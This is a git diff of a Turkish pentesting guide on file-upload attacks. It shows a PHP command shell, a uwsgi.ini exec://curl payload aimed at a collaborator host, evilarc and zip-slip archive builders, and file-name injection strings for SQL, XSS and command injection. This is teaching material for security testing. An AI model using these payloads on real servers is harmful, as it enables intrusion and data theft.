* [**Kod ile Github**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_plte\_png.php)
* Web sayfası ayrıca **resmi yeniden boyutlandırarak** kullanıyor olabilir, örneğin PHP-GD fonksiyonları `imagecopyresized` veya `imagecopyresampled` kullanarak. Ancak, sıkıştırmayı **hayatta kalacak metni** eklemek için **IDAT chunk** [**burada tanımlanan teknik**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) kullanabilirsiniz.
* Web sayfası ayrıca resmi **yeniden boyutlandırarak** kullanıyor olabilir, örneğin PHP-GD fonksiyonları `imagecopyresized` veya `imagecopyresampled` kullanarak. Ancak, sıkıştırmayı **hayatta kalacak metin** eklemek için **IDAT chunk** [**burada tanımlanan teknik**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) kullanabilirsiniz.
* [**Kod ile Github**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_idat\_png.php)
* Bir başka teknik, bir yükün **resmi yeniden boyutlandırarak hayatta kalmasını sağlamak** için PHP-GD fonksiyonu `thumbnailImage` kullanmaktır. Ancak, sıkıştırmayı **hayatta kalacak metni** eklemek için **tEXt chunk** [**burada tanımlanan teknik**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) kullanabilirsiniz.
* Bir başka teknik, resmin **yeniden boyutlandırılmasını sağlayan bir yükü oluşturmak**, PHP-GD fonksiyonu `thumbnailImage` kullanarak. Ancak, sıkıştırmayı **hayatta kalacak metin** eklemek için **tEXt chunk** [**burada tanımlanan teknik**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) kullanabilirsiniz.
* [**Kod ile Github**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_tEXt\_png.php)
### Diğer İpuçları
@ -96,26 +96,26 @@ AAA<--SNIP 232 A-->AAA.php.png
* Zaten yüklenmiş olan dosyayı **yeniden adlandırmak** için bir zafiyet bulun.
* Geri kapıyı çalıştırmak için **Yerel Dosya Dahil Etme** zafiyeti bul.
* **Olası Bilgi Sızıntısı**:
1. **Aynı dosyayı** ve **aynı ada sahip** dosyayı **birkaç kez** ve **aynı anda** yükleyin.
2. Zaten var olan bir **dosya** veya **dizin** adına sahip bir dosya yükleyin.
3. Dosyanın adı olarak **“.”, “..”, veya “…”** ekleyin. Örneğin, Apache'de **Windows**'ta, uygulama yüklenen dosyaları “/www/uploads/” dizininde saklıyorsa, “.” dosya adı “/www/” dizininde “uploads” adında bir dosya oluşturacaktır.
4. **NTFS**'de (Windows) silinmesi zor olan bir dosya yükleyin, örneğin **“…:.jpg”**.
5. Dosyanın adında `|<>*?”` gibi **geçersiz karakterler** içeren bir dosya yükleyin (Windows).
6. **Yasaklanmış** (**yasaklanmış**) **adlar** kullanarak bir dosya yükleyin, örneğin CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8 ve LPT9.
* Ayrıca yanlışlıkla açıldığında kodu **çalıştıracak bir** (.exe) veya daha az şüpheli bir şekilde **.html** dosyası yüklemeyi deneyin.
1. **Aynı dosyayı** ve **aynı ismi** **birkaç kez** (ve **aynı anda**) yükleyin
2. Zaten var olan bir **dosya** veya **dizin** adıyla bir dosya yükleyin
3. İsmini **“.”, “..”, veya “…”** olarak belirtilen bir dosya yükleyin. Örneğin, Apache'de **Windows**'ta, uygulama yüklenen dosyaları “/www/uploads/” dizininde saklıyorsa, “.” dosya adı “/www/” dizininde “uploads” adında bir dosya oluşturacaktır.
4. **NTFS**'de **“…:.jpg”** gibi kolayca silinmeyen bir dosya yükleyin. (Windows)
5. İsminde `|<>*?”` gibi **geçersiz karakterler** bulunan bir dosya yükleyin. (Windows)
6. **Yasaklanmış** (**yasaklanmış**) **isimler** olan CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8 ve LPT9 gibi **rezerve edilmiş isimler** kullanarak bir dosya yükleyin.
* Ayrıca yanlışlıkla açıldığında kodu **çalıştıracak bir** (.exe) veya daha az şüpheli bir **.html** dosyası yüklemeyi deneyin.
### Özel Uzantı İpuçları
Eğer dosyaları bir **PHP sunucusuna** yüklemeye çalışıyorsanız, [kodun **çalıştırılması için** **.htaccess** ipucuna bakın](https://book.hacktricks.xyz/pentesting/pentesting-web/php-tricks-esp#code-execution-via-httaccess).\
Eğer dosyaları bir **ASP sunucusuna** yüklemeye çalışıyorsanız, [kodun **çalıştırılması için** **.config** ipucuna bakın](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files).
Eğer dosyaları bir **PHP sunucusuna** yüklemeye çalışıyorsanız, [kodun **çalıştırılmasını sağlamak için** **.htaccess** hilesine göz atın](https://book.hacktricks.xyz/pentesting/pentesting-web/php-tricks-esp#code-execution-via-httaccess).\
Eğer dosyaları bir **ASP sunucusuna** yüklemeye çalışıyorsanız, [kodun **çalıştırılmasını sağlamak için** **.config** hilesine göz atın](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files).
`.phar` dosyaları java için `.jar` gibi, ancak php için kullanılabilir ve bir php dosyası gibi **kullanılabilir** (php ile çalıştırarak veya bir betik içine dahil ederek...)
`.phar` dosyaları, java için `.jar` gibi, ancak php için ve bir php dosyası gibi **kullanılabilir** (php ile çalıştırılarak veya bir betik içine dahil edilerek...)
`.inc` uzantısı bazen yalnızca dosyaları **ithal etmek** için kullanılan php dosyaları için kullanılır, bu nedenle, bir noktada, birinin **bu uzantının çalıştırılmasına izin vermiş olabileceğini** düşünebilirsiniz.
`.inc` uzantısı bazen yalnızca dosyaları **ithal etmek** için kullanılan php dosyaları için kullanılır, bu nedenle, bir noktada, birinin **bu uzantının çalışmasına izin vermiş olabileceğini** düşünebilirsiniz.
## **Jetty RCE**
Jetty sunucusuna bir XML dosyası yükleyebilirseniz, [RCE elde edebilirsiniz çünkü **yeni \*.xml ve \*.war dosyaları otomatik olarak işlenir**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Bu nedenle, aşağıdaki resimde belirtildiği gibi, XML dosyasını `$JETTY_BASE/webapps/` dizinine yükleyin ve kabuk bekleyin!
Eğer bir XML dosyasını bir Jetty sunucusuna yükleyebilirseniz, [RCE elde edebilirsiniz çünkü **yeni \*.xml ve \*.war otomatik olarak işlenir**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Bu nedenle, aşağıdaki resimde belirtildiği gibi, XML dosyasını `$JETTY_BASE/webapps/`'e yükleyin ve kabuk bekleyin!
![https://twitter.com/ptswarm/status/1555184661751648256/photo/1](<../../.gitbook/assets/image (1044).png>)
@ -123,7 +123,7 @@ Jetty sunucusuna bir XML dosyası yükleyebilirseniz, [RCE elde edebilirsiniz ç
Bu zafiyetin detaylı keşfi için orijinal araştırmaya göz atın: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).
UWSGI sunucularında Uzak Komut Yürütme (RCE) zafiyetleri, `.ini` yapılandırma dosyasını değiştirme yeteneğine sahip olanlar tarafından sömürülebilir. UWSGI yapılandırma dosyaları, "sihirli" değişkenler, yer tutucular ve operatörler içeren belirli bir sözdizim kullanır. Özellikle, `@(filename)` olarak kullanılan '@' operatörü, bir dosyanın içeriğini dahil etmek için tasarlanmıştır. UWSGI'deki çeşitli desteklenen şemalardan biri olan "exec" şeması özellikle etkilidir ve bir işlemin standart çıktısından veri okumayı sağlar. Bu özellik, bir `.ini` yapılandırma dosyası işlendiğinde Uzak Komut Yürütme veya Keyfi Dosya Yazma/Okuma gibi kötü amaçlı amaçlar için manipüle edilebilir.
UWSGI sunucularında Uzaktan Komut Yürütme (RCE) zafiyetleri, `.ini` yapılandırma dosyasını değiştirme yeteneğine sahip olanlar tarafından sömürülebilir. UWSGI yapılandırma dosyaları, "sihirli" değişkenler, yer tutucular ve operatörler içeren belirli bir sözdizim kullanır. Özellikle, `@(filename)` olarak kullanılan '@' operatörü, bir dosyanın içeriğini dahil etmek için tasarlanmıştır. UWSGI'de desteklenen çeşitli şemalardan biri olan "exec" şeması özellikle güçlüdür, bir işlemin standart çıktısından veri okumayı sağlar. Bu özellik, `.ini` yapılandırma dosyası işlendiğinde Uzaktan Komut Yürütme veya Keyfi Dosya Yazma/Okuma gibi kötü amaçlar için manipüle edilebilir.
Aşağıdaki zararlı `uwsgi.ini` dosyasının çeşitli şemaları sergileyen bir örneğini düşünün:
```ini
@ -143,14 +143,14 @@ extra = @(exec://curl http://collaborator-unique-host.oastify.com)
; call a function returning a char *
characters = @(call://uwsgi_func)
```
Payload'ın yürütülmesi, yapılandırma dosyasının ayrıştırılması sırasında gerçekleşir. Yapılandırmanın etkinleştirilmesi ve ayrıştırılması için uWSGI işlemi ya yeniden başlatılmalıdır (potansiyel olarak bir çökme sonrası veya Bir Hizmet Reddi saldırısından dolayı) ya da dosya otomatik yeniden yükleme olarak ayarlanmalıdır. Etkinleştirilmişse, otomatik yeniden yükleme özelliği, değişiklikler algılandığında belirtilen aralıklarda dosyayı yeniden yükler.
Payload'ın yürütülmesi, yapılandırma dosyasının ayrıştırılması sırasında gerçekleşir. Yapılandırmanın etkinleştirilmesi ve ayrıştırılması için uWSGI işlemi ya yeniden başlatılmalıdır (potansiyel olarak bir çökme sonrası veya Bir Hizmet Reddi saldırısından dolayı) ya da dosya otomatik yeniden yükleme olarak ayarlanmalıdır. Eğer etkinleştirilmişse, otomatik yeniden yükleme özelliği, değişiklikler algılandığında belirli aralıklarla dosyayı yeniden yükler.
uWSGI'nin yapılandırma dosyası ayrıştırmasının gevşek doğasını anlamak son derece önemlidir. Özellikle, tartışılan payload, bir ikili dosyaya (örneğin bir resim veya PDF) yerleştirilebilir, potansiyel istismarın kapsamını daha da genişletir.
uWSGI'nin yapılandırma dosyası ayrıştırmasının gevşek doğasını anlamak son derece önemlidir. Özellikle, tartışılan payload, bir ikili dosyaya (örneğin bir resim veya PDF) yerleştirilebilir, potansiyel sömürü alanını daha da genişletir.
## **wget Dosya Yükleme/SSRF Hilesi**
Bazı durumlarda sunucunun **`wget`** kullanarak **dosyaları indirdiğini** ve **URL**'yi **belirtebileceğinizi** fark edebilirsiniz. Bu durumlarda, kodun indirilen dosyaların uzantısının bir beyaz listeye dahil olduğunu kontrol edebileceğini ve yalnızca izin verilen dosyaların indirileceğini sağlamak için. Ancak, **bu kontrol atlatılabilir.**\
**Linux**'taki bir **dosya adının** maksimum uzunluğu **255** karakterdir, ancak **wget** dosya adlarını **236** karaktere kısaltır. **"A"\*232+".php"+".gif"** adında bir dosya indirebilirsiniz, bu dosya adı **kontrolü atlayacaktır** (bu örnekte **".gif"** geçerli bir uzantıdır) ancak `wget` dosyayı **"A"\*232+".php"** olarak yeniden adlandıracaktır.
Bazı durumlarda sunucunun **`wget`** kullanarak **dosyaları indirdiğini** ve **URL**'yi **belirtebileceğinizi** fark edebilirsiniz. Bu durumlarda, kodun indirilen dosyaların uzantısının bir beyaz listeye dahil olduğunu kontrol edebilir, böylece yalnızca izin verilen dosyaların indirileceğinden emin olabilir. Ancak, **bu kontrol atlatılabilir.**\
**Linux**'taki bir **dosya adının** maksimum uzunluğu **255** karakterdir, ancak **wget** dosya adlarını **236** karaktere kısaltır. **"A"\*232+".php"+".gif"** adında bir dosya indirebilirsiniz, bu dosya adı **kontrolü atlayacaktır** (bu örnekte **".gif"** geçerli bir uzantıdır) ancak `wget` dosyayı **"A"\*232+".php"** olarak **yeniden adlandıracaktır**.
```bash
#Create file and HTTP server
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
@ -173,16 +173,16 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================
2020-06-13 03:14:06 (1.96 MB/s) - AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php saved [10/10]
```
**Başka bir seçenek** olarak düşünebileceğiniz şey, **HTTP sunucusunu farklı bir dosyaya yönlendirmesini sağlamak** olabilir, böylece başlangıçtaki URL, wget o zamana kadar kontrolü atlayacak ve ardından wget, yeni adıyla yönlendirilen dosyayı indirecektir. Bu, **wget'in** `--trust-server-names` **parametresiyle kullanılmadığı sürece çalışmayacaktır** çünkü **wget, yönlendirilen sayfayı orijinal URL'de belirtilen dosya adıyla indirecektir**.
**Başka bir seçenek** olarak düşünebileceğiniz şey, **HTTP sunucusunu farklı bir dosyaya yönlendirmesini sağlamak** olabilir, böylece başlangıçtaki URL, wget o zaman yönlendirilen dosyayı yeni adıyla indireceği için kontrolü atlayabilir. Bu, wget'in `--trust-server-names` **parametresiyle kullanılmadığı sürece çalışmayacak**, çünkü **wget yönlendirilen sayfayı orijinal URL'de belirtilen dosya adıyla indirecektir**.
## Araçlar
* [Upload Bypass](https://github.com/sAjibuu/Upload\_Bypass), Pentester ve Bug Avcılarına dosya yükleme mekanizmalarını test etmede yardımcı olmak için tasarlanmış güçlü bir araçtır. Çeşitli hata ödülü tekniklerinden yararlanarak web uygulamalarının kapsamlı değerlendirmelerini sağlayarak zayıflıkları tanımlama ve sömürme sürecini basitleştirir.
* [Upload Bypass](https://github.com/sAjibuu/Upload\_Bypass), Pentester'ları ve Hata Avcılarını dosya yükleme mekanizmalarını test etmede yardımcı olmak için tasarlanmış güçlü bir araçtır. Çeşitli hata avı tekniklerinden yararlanarak web uygulamalarının kapsamlı değerlendirmelerini sağlayarak zayıflıkları tanımlama ve sömürme sürecini basitleştirir.
## Dosya yüklemeden diğer zafiyetlere
## Dosya yüklemeden diğer zayıflıklara
* **Dosya adını** `../../../tmp/lol.png` olarak ayarlayın ve bir **yol geçişi** elde etmeye çalışın
* **Dosya adını** `sleep(10)-- -.jpg` olarak ayarlayın ve bir **SQL enjeksiyonu** elde etme olasılığınız olabilir
* **Dosya adını** `sleep(10)-- -.jpg` olarak ayarlayın ve bir **SQL enjeksiyonu** elde edebilirsiniz
* **Dosya adını** `<svg onload=alert(document.domain)>` olarak ayarlayarak bir XSS elde edin
* **Dosya adını** `; sleep 10;` olarak ayarlayarak bazı komut enjeksiyonlarını test edin (daha fazla [komut enjeksiyonu hilesi burada](../command-injection.md))
* [Resim (svg) dosyasında **XSS**](../xss-cross-site-scripting/#xss-uploading-files-svg)
@ -190,11 +190,11 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================
* [svg yükleme ile **XXE**](../xxe-xee-xml-external-entity.md#svg-file-upload)
* [svg dosyası yükleyerek **Açık Yönlendirme**](../open-redirect.md#open-redirect-uploading-svg-files)
* [Farklı svg payload'ları deneyin](https://github.com/allanlw/svg-cheatsheet)
* [Ünlü **ImageTrick** zafiyeti](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
* Eğer **web sunucusunu bir URL'den bir resmi yakalamaya işaret edebilirseniz**, bir [SSRF'yi](../ssrf-server-side-request-forgery/) kötüye kullanmayı deneyebilirsiniz. Bu **resim**in bazı **genel** bir siteye **kaydedilecek** olması durumunda, [https://iplogger.org/invisible/](https://iplogger.org/invisible/) adresinden bir URL belirtebilir ve her ziyaretçinin bilgilerini **çalabilirsiniz**.
* [Ünlü **ImageTrick** zayıflığı](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
* Eğer **web sunucusunu bir URL'den bir resmi yakalamaya işaret edebilirseniz**, bir [SSRF'yi](../ssrf-server-side-request-forgery/) kötüye kullanmayı deneyebilirsiniz. Bu **resim**in bazı **genel** bir siteye **kaydedilecekse**, [https://iplogger.org/invisible/](https://iplogger.org/invisible/) adresinden bir URL belirtebilir ve her ziyaretçinin bilgilerini **çalabilirsiniz**.
* [PDF-Adobe yükleme ile **XXE ve CORS** atlatma](pdf-upload-xxe-and-cors-bypass.md)
* XSS için özel olarak oluşturulmuş PDF'ler: [Aşağıdaki sayfa, JS yürütme elde etmek için PDF verilerini nasıl enjekte edeceğinizi göstermektedir](../xss-cross-site-scripting/pdf-injection.md). PDF'ler yükleyebiliyorsanız, verilen talimatları takip ederek keyfi JS yürütebilecek bir PDF hazırlayabilirsiniz.
* Sunucunun herhangi bir **antivirüs**'e sahip olup olmadığını kontrol etmek için \[eicar]\([https://secure.eicar.org/eicar.com.txt](https://secure.eicar.org/eicar.com.txt)) içeriğini yükleyin
* XSS için özel olarak oluşturulmuş PDF'ler: [Aşağıdaki sayfa, JS yürütme elde etmek için PDF verilerini nasıl enjekte edeceğinizi **sunmaktadır**](../xss-cross-site-scripting/pdf-injection.md). PDF'ler yükleyebiliyorsanız, verilen talimatları takip ederek keyfi JS yürütebilecek bir PDF hazırlayabilirsiniz.
* Sunucunun herhangi bir **antivirüs** olup olmadığını kontrol etmek için \[eicar]\([https://secure.eicar.org/eicar.com.txt](https://secure.eicar.org/eicar.com.txt)) içeriğini yükleyin
* Dosya yükleme sırasında herhangi bir **boyut sınırı** olup olmadığını kontrol edin
İşte yükleme yaparak elde edebileceğiniz şeylerin en iyi 10 listesi ([buradan](https://twitter.com/SalahHasoneh1/status/1281274120395685889)):
@ -235,16 +235,16 @@ tar -cvf test.tar symindex.txt
```
### Farklı klasörlerde açma
Sıkıştırma sırasında dosyaların beklenmedik şekilde klasörler oluşturması ciddi bir sorundur. Bu yapıyla başlangıçta kötü niyetli dosya yüklemeleri aracılığıyla OS düzeyinde komut yürütmenin engellenebileceği varsayımlarına rağmen, ZIP arşiv formatının hiyerarşik sıkıştırma desteği ve dizin gezinme yetenekleri kötü niyetli kişiler tarafından istismar edilebilir. Bu, saldırganların hedef uygulamanın açma işlevselliğini manipüle ederek güvenli yükleme dizinlerinden kaçınmasına olanak tanır.
Sıkıştırma sırasında dosyaların beklenmedik bir şekilde dizinlerde oluşturulması ciddi bir sorundur. İlk başta bu yapılandırmanın kötü niyetli dosya yüklemeleri aracılığıyla OS düzeyinde komut yürütme saldırılarına karşı koruma sağlayabileceği varsayılsa da, ZIP arşiv formatının hiyerarşik sıkıştırma desteği ve dizin geçişi yetenekleri istismar edilebilir. Bu, saldırganların hedef uygulamanın açma işlevselliğini manipüle ederek kısıtlamaları atlayıp güvenli yükleme dizinlerinden kaçmalarına olanak tanır.
Bu tür dosyaları oluşturmak için otomatik bir saldırı aracı [**GitHub'daki evilarc**](https://github.com/ptoomey3/evilarc) adresinde bulunmaktadır. Bu araç aşağıdaki gibi kullanılabilir:
Bu tür dosyaları oluşturmak için otomatik bir saldırı aracı [**GitHub'da evilarc**](https://github.com/ptoomey3/evilarc) adresinde bulunmaktadır. Yardımcı program şu şekilde kullanılabilir:
```python
# Listing available options
python2 evilarc.py -h
# Creating a malicious archive
python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php
```
Ek olarak, **evilarc ile sembolik bağ hilesi** bir seçenektir. `/flag.txt` gibi bir dosyayı hedef almak amaçlandığında, o dosyaya bir sembolik bağ oluşturulmalıdır. Bu, evilarc'ın işlemi sırasında hata ile karşılaşmamasını sağlar.
Ek olarak, **evilarc ile sembolik bağlantı hilesi** bir seçenektir. Eğer `/flag.txt` gibi bir dosyayı hedef almak amaçlanıyorsa, o dosyaya bir sembolik bağlantı oluşturulmalıdır. Bu, evilarc'ın işlemi sırasında hata ile karşılaşmamasını sağlar.
Aşağıda, kötü niyetli bir zip dosyası oluşturmak için kullanılan Python kodu örneği bulunmaktadır:
```python
@ -266,9 +266,9 @@ create_zip()
```
**Dosya sıkıştırma kötüye kullanımı için dosya püskürtme**
Daha fazla ayrıntı için **orijinal yazıya** bakın: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/)
Daha fazla detay için **orijinal yazıya** bakın: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/)
1. **Bir PHP Kabuğu Oluşturma**: PHP kodu, `$_REQUEST` değişkeninden geçirilen komutları çalıştırmak için yazılmıştır.
1. **PHP Shell Oluşturma**: PHP kodu, `$_REQUEST` değişkeninden geçirilen komutları çalıştırmak için yazılmıştır.
```php
<?php
@ -283,7 +283,7 @@ system($cmd);
root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done
root@s2crew:/tmp# zip cmd.zip xx*.php
```
3. **Hex Düzenleyici veya vi ile Değiştirme**: Zip içindeki dosyaların adları, "xxA"yı değiştirerek dizinleri gezmek için vi veya bir hex düzenleyici kullanılarak değiştirilir.
3. **Hex Düzenleyici veya vi ile Değiştirme**: Zip içindeki dosyaların adları, "xxA"yı değiştirerek dizinleri gezinmek için vi veya bir hex düzenleyici kullanılarak değiştirilir.
```bash
:set modifiable
@ -302,19 +302,19 @@ pop graphic-context
```
## PNG İçine PHP Shell Gömme
Bir PNG dosyasının IDAT parçasına bir PHP shell gömmek, belirli görüntü işleme işlemlerini etkili bir şekilde atlayabilir. PHP-GD'den `imagecopyresized` ve `imagecopyresampled` işlevleri bu bağlamda özellikle önemlidir, çünkü genellikle görüntüleri yeniden boyutlandırma ve örnekleme işlemleri için kullanılırlar. Gömülü PHP shell'in bu işlemlerden etkilenmeden kalabilme yeteneği, belirli kullanım durumları için önemli bir avantajdır.
Bir PNG dosyasının IDAT bloğuna bir PHP shell gömmek, belirli görüntü işleme işlemlerini etkili bir şekilde atlatabilir. PHP-GD'den `imagecopyresized` ve `imagecopyresampled` fonksiyonları bu bağlamda özellikle önemlidir, çünkü genellikle resimleri yeniden boyutlandırmak ve örnekleme yapmak için kullanılırlar. Gömülü PHP shell'in bu işlemlerden etkilenmeden kalabilmesi, belirli kullanım durumları için önemli bir avantajdır.
Bu teknik hakkında detaylı bir keşif, metodolojisi ve potansiyel uygulamaları aşağıdaki makalede sunulmaktadır: ["PNG IDAT parçalarında Web Shell'lerin Kodlanması"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Bu kaynak, işlemin ve sonuçlarının kapsamlı bir anlayışını sunmaktadır.
Bu teknik hakkında detaylı bir keşif, metodolojisi ve potansiyel uygulamalarıyla birlikte aşağıdaki makalede sunulmuştur: ["PNG IDAT Bloklarında Web Shell Kodlama"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Bu kaynak, işlemin ve sonuçlarının kapsamlı bir anlayışını sunar.
Daha fazla bilgi için: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
## Poliglot Dosyalar
Poliglot dosyalar, siber güvenlikte benzersiz bir araç olarak hizmet eder, aynı anda birden fazla dosya biçiminde geçerli olabilen kameleonlar olarak işlev görür. İlginç bir örnek [GIFAR](https://en.wikipedia.org/wiki/Gifar) adlı bir hibriddir, hem bir GIF hem de bir RAR arşivi olarak işlev gören. Bu tür dosyalar sadece bu eşleşmeyle sınırlı değildir; GIF ve JS veya PPT ve JS gibi kombinasyonlar da mümkündür.
Poliglot dosyalar, siber güvenlikte benzersiz bir araç olarak hizmet eder, aynı anda birden fazla dosya biçiminde geçerli olabilen kameleonlar olarak işlev görür. İlginç bir örnek [GIFAR](https://en.wikipedia.org/wiki/Gifar) adlı bir dosyadır, hem bir GIF hem de bir RAR arşivi olarak işlev gören bir hibrid. Bu tür dosyalar sadece bu eşleşmeyle sınırlı değildir; GIF ve JS veya PPT ve JS gibi kombinasyonlar da mümkündür.
Poliglot dosyaların temel faydası, dosyaları türlerine göre tarayan güvenlik önlemlerini atlatma kapasitelerinde yatar. Çeşitli uygulamalarda yaygın olan bir uygulama, yalnızca belirli dosya türlerine izin vermek - JPEG, GIF veya DOC gibi - potansiyel olarak zararlı biçimlerin (örneğin, JS, PHP veya Phar dosyaları) oluşturabileceği riski azaltmak içindir. Ancak, poliglot dosyalar, birden fazla dosya türünün yapısal kriterlerine uyarak bu kısıtlamaları gizlice atlayabilir.
Poliglot dosyaların temel faydası, dosyaları türlerine göre tarayan güvenlik önlemlerini atlatma kapasitelerindedir. Çeşitli uygulamalarda yaygın olan bir uygulama, yalnızca belirli dosya türlerine izin vermek -örneğin JPEG, GIF veya DOC- potansiyel olarak zararlı biçimlerin (örneğin JS, PHP veya Phar dosyaları) oluşturabileceği riski azaltmak içindir. Ancak, poliglot dosyalar, birden fazla dosya türünün yapısal kriterlerine uyarak bu kısıtlamaları gizlice atlayabilir.
Uyum sağlama yeteneklerine rağmen, poliglotlar bazı sınırlamalarla karşılaşabilir. Örneğin, bir poliglot aynı anda bir PHAR dosyasını (PHp ARşiv) ve bir JPEG'yi temsil edebilirken, yüklemenin başarısı platformun dosya uzantısı politikalarına bağlı olabilir. Sistem, izin verilen uzantılar konusunda katıysa, bir poliglotun yalnızca yapısal ikiliği yükleme garantisi sağlamayabilir.
Uyum sağlama yeteneklerine rağmen, poliglotlar bazı sınırlamalarla karşılaşabilir. Örneğin, bir poliglot aynı anda bir PHAR dosyası (PHp ARşiv) ve bir JPEG dosyası olabilirken, yüklemenin başarısı platformun dosya uzantısı politikalarına bağlı olabilir. Sistem, izin verilen uzantılar konusunda katıysa, bir poliglotun yalnızca yapısal ikiliği yüklemenin garantisi olmayabilir.
Daha fazla bilgi için: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
@ -327,9 +327,9 @@ Daha fazla bilgi için: [https://medium.com/swlh/polyglot-files-a-hackers-best-f
* [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
* [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
<figure><img src="../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Eğer **hacking kariyeri**ne ilgi duyuyorsanız ve hacklenemez olanı hacklemek istiyorsanız - **işe alıyoruz!** (_akıcı Polonyaca yazılı ve konuşma gereklidir_).
Eğer **hacking kariyeri**ne ilgi duyuyorsanız ve hacklenemez olanı hacklemek istiyorsanız - **işe alıyoruz!** (_akıcı Polonyaca yazılı ve konuşulan gereklidir_).
{% embed url="https://www.stmcyber.com/careers" %}
@ -341,8 +341,8 @@ HackTricks'i desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi Twitter'da 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live) takip edin.
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family)
* **💬 [Discord grubuna](https://discord.gg/hRep4RUj7f) veya [telegram grubuna](https://t.me/peass) katılın veya** bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**'da takip edin.**
* **Hacking püf noktalarınızı paylaşarak HackTricks ve HackTricks Cloud github depolarına PR göndererek destek olun.**
</details>

View file

@ -2,65 +2,65 @@
<details>
<summary><strong>Sıfırdan kahraman olana kadar AWS hacklemeyi öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>AWS hacklemeyi sıfırdan ileri seviyeye öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> ile!</strong></summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* **Şirketinizin HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **💬 [Discord grubuna](https://discord.gg/hRep4RUj7f) katılın veya [telegram grubuna](https://t.me/peass) katılın veya bizi Twitter'da** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
